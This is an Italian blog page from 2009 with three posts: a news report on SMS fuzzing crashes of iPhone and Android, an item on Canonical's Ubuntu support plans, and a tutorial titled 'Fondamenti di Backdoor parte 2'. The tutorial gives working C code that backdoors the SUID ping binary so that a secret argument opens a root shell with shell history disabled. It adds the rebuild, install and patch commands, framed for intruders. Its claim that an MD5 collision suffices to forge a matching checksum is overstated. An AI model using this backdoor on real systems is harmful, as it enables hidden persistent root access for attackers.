Alla B
lack Hat Conference USA 2009 è stato dimostrato come l’iPhone ma anche tutti gli smartphone basati su Android e Windows Mobile potrebbero essere in pericolo inviando semplicemente un SMS. Nel talk “Fuzzing the Phone in your Phone” http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdf , Miller e Mulliner hanno spiegato come sia possibile, attraverso una serie di messaggi concatenati, mandare in crash l’iPhone e Android. Per ora Windows Mobile è ancora oggetto di analisi da parte dei due ricercatori, che comunque si dicono fiduciosi di poter trovare una falla anche nel sistema made in Redmond. Per quanto riguarda iPhone, Miller e Mulliner sono riusciti, con una serie di SMS appositamente forgiati, a mandare in crash CommCenter, il servizio che regge tutto lo stack telefonico sul melafonino. Con Android le cose sono andate praticamente allo stesso modo, l’attacco in questo caso ha interessato il demone “/system/bin/rild”. Come spiegato dagli autori per Windows Mobile le cose sono state un po’ più complicate e al momento i ricercatori stanno attaccando lo stack telefonico del sistema operativo. Per condurre gli attacchi i ricercatori si sono serviti di Sulley, un fuzzing framework in Python, scaricabile da Google Code attraverso SVN.
...Il cammino verso la grandezza si percorre insieme ad altri... Baltasar Graciàn
venerdì 31 luglio 2009
Tre sevizi per aiutare il passaggio a Ubuntu

Canonical ha lanciato l’iniziativa “Switch to Ubuntu” e presenta tre offerte per il supporto commerciale ai sistemi desktop equipaggiati con la sua distribuzione. In particolare i pacchetti Starter, Advanced e Professional sono indirizzati a privati e piccole aziende alla ricerca di alternative efficaci alle soluzioni di Microsoft e Apple. Steve George, direttore della divisione Corporate Services di Canonical, ha dichiarato che i servizi offerti saranno apprezzati da chi desidera semplicemente utilizzare il proprio PC senza perdere tempo in configurazioni o distrazioni. Lo Starter Desktop Service include il supporto per l’installazione, la configurazione e le funzionalità di base (accesso ad Internet, creazione documenti, riproduzione contenuti multimediali). Un anno di Starter Desktop Service costa 54,99 dollari mentre un piano di tre anni ne viene a costare 140,22. Advanced Desktop Service è invece indirizzato ad utenti (business) con maggiore esperienza ed esigenze, che magari necessitano di assistenza nel migrare file e impostazioni da un precedente sistema operativo; il pacchetto include anche il supporto per l’installazione avanzata di Ubuntu e per l’utilizzo delle applicazioni più tecniche del sistema, inclusi gli eventuali servizi. Il prezzo del pacchetto è di 114,98 dollari/anno o 293,23 dollari per tre anni. L’ultima offerta è rappresentata da Professional Desktop Service e rappresenta il pezzo forte dell’offerta: supporto all’installazione in ambienti corporate, con integrazione nei sistemi IT esistenti; il pacchetto include inoltre il supporto all’utilizzo della virtualizzazione desktop e garantisce un accesso più rapido agli operatori. I costi variano da 218,54 dollari/anno a 558,42 dollari per tre anni.Gli abbonamenti sono costituiti, ovviamente, dal supporto via mail/telefono e includono aggiornamenti minori e maggiori della distribuzione. Con l’arrivo dei nuovi sistemi operativi di Microsoft, tali servizi potrebbero essere la leva per convincere numerosi utenti, ma soprattutto i dipartimenti di IT, alla migrazione verso Linux, avendo pieno supporto nella migrazione della propria infrastruttura.
Se avete un vecchio PC o siete bloccati con vista, potrete installare Ubuntu e godervi la sua esperienza utente By Steve George
lunedì 27 luglio 2009
Fondamenti di Backdoor parte 2
Nel precedente articolo Fondamenti di Backdoor parte 1, mi ero limitato a descrivere il concetto di backdoor mostrando anche un semplice esempio. In questa seconda puntata descrivo i metodi piu raffinati che vengono utilizzati ancora oggi dagli intrusi oppure dai programmatori. La tecnica consiste nel modificare i sorgenti dei programmi inserendo il bit di SUID nella posizione adeguata all'interno del codice sorgente o nella modifica dei daemon uscenti con uid=0, come ad esempio POP3,FTP o SSH. I daemon (demoni) sono processi server che stanno sempre in ascolto. Il più delle volte vengono inizializzati all'avvio del sistema e poi rimangono in attesa dietro le quinte (background) finché non viene richiesto il loro servizio. Un semplice esempio consiste nel creare una backdoor nell'eseguibile ping, piu precisamente dobbiamo inserire una modifica che consiste nel verificare se il primo argometo(argv[1]) passatogli sia una sequenza di caratteri, come ad esempio fabri8bit. Se la condizine viene soddisfatta, il programma richiamerà una funzine la quale configurerà uid e gid=0 e cancellerà la varibile HISTLIFE, avviando la shell. Per provare in pratica questa soluzione, si devono prima di tutto scaricare i sorgenti del programma ping reperibili, ad esempio, su http://archive.ubuntu.com/ubuntu/pool/main/i/iputils/iputils_20071127.orig.tar.gz oppure li si può scaricare dai repository di gentoo. Una volta scompattato il file .gz dobbiamo concentrarci sul file sorgente ping.c. La prima cosa che dobbiamo fare è cercare la funzione main(int argc, char **argv). La modifica deve essere eseguita poco prima dell'abbandono dei privilegi, e piu precisamente qui:
icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;
if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
{
setuid(0);
setgid(0);
unsetenv("HISTFILE");
execl("/bin/bash","bash","-i",NULL);
}
uid = getuid();
if (setuid(uid))
{
perror("ping: setuid");
exit(-1);
}
Le ultime righe provocano l'abbandono dei privilegi in quanto l'obiettivo principale della funzione getuid() è quello di riportare il suo (attuale) uid(user identifier). Per quando riguarda la funzione setuid() il suo obiettivo invece è quello di impostare l'user-ID del processo corrente. In sostanza l'uso principale di queste funzioni consente ad un programma con i bit suid o sgid impostati di riportare l'user-ID effettivo a quello dell'utente che ha lanciato il programma. Dopo la piccola modifica, non ci resta che ricompilare il programma e copiarlo nella cartella dove risiedono i comuni programmi condivisi dal sistema, dall'amministratore di sistema e dagli utenti ( /bin eheh ). Per chi ha letto la prima parte della guida, sa che prima di compiere questa operazione si deve ottenere in un qualche modo una shell di root. A questo punto non ci resta che compilare:
# cd iputils_20071127.orig
# make
# cp -f ping /bin/ping
# chmod 4711 /bin/ping
# exit
$ ping "fabri8bit"
#
Se non vogliamo modificare ogni volta il sorgente, è molto conveniente crearsi una patch per il sorgente ping.c e fare un unico pacchetto nel quale sono compresi i sorgenti da uplodare nel nostro fileserver oppure tenerlo nella chiavetta usb. Utilizzando il comando diff che, sostanzialmente, serve per analizzare due file e riportare le differenze è possibile anche creare un file di patch. Dopo aver digitato tale comando è possibile vedere a video le differenze tra i due file. La creazione di una patch avviene attraverso le seguenti opzioni:
--- ping.c 2009-07-27 17:13:31.886758795 +0200
+++ ping-back.c 2007-12-10 04:56:22.000000000 +0100
@@ -125,15 +125,6 @@
icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;
-if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
-{
- setuid(0);
- setgid(0);
- unsetenv("HISTFILE");
- execl("/bin/bash","bash","-i",NULL);
-}
-
-
uid = getuid();
if (setuid(uid)) {
perror("ping: setuid");
Grazie al comando patch, utilizzato per applicare il file di patch creato con le differenze tra un file e un file più recente, è possibile apportare la modifica al file ping.c originale. La modalità di utilizzo è la seguente:
$ patch -p0 < back
Queste falle nella sicurezza si possono scroprire in diversi modi,per esempio effettuando un controllo di checksum sui file. Pochi amministratori, comunque, effettuano questo tipo di controllo e molte volte capita che i file di checksum vengano custoditi su unità che sono raggiungibili dall'aggressore. Basta, infatti, trovare una collisione, ad esempio sull'algoritmo MD5, ed è possibile ricalcolare il checksum del file binario modificato in aniera del tutto identica al checksum del file originale. Un miglior modo per installare una backdoor consiste nel modificare le libreire del sistema. Un esempio sono le librerie PAM (Pluggable authentication Module) che tratterò la prossima volta.
Iscriviti a:
Post (Atom)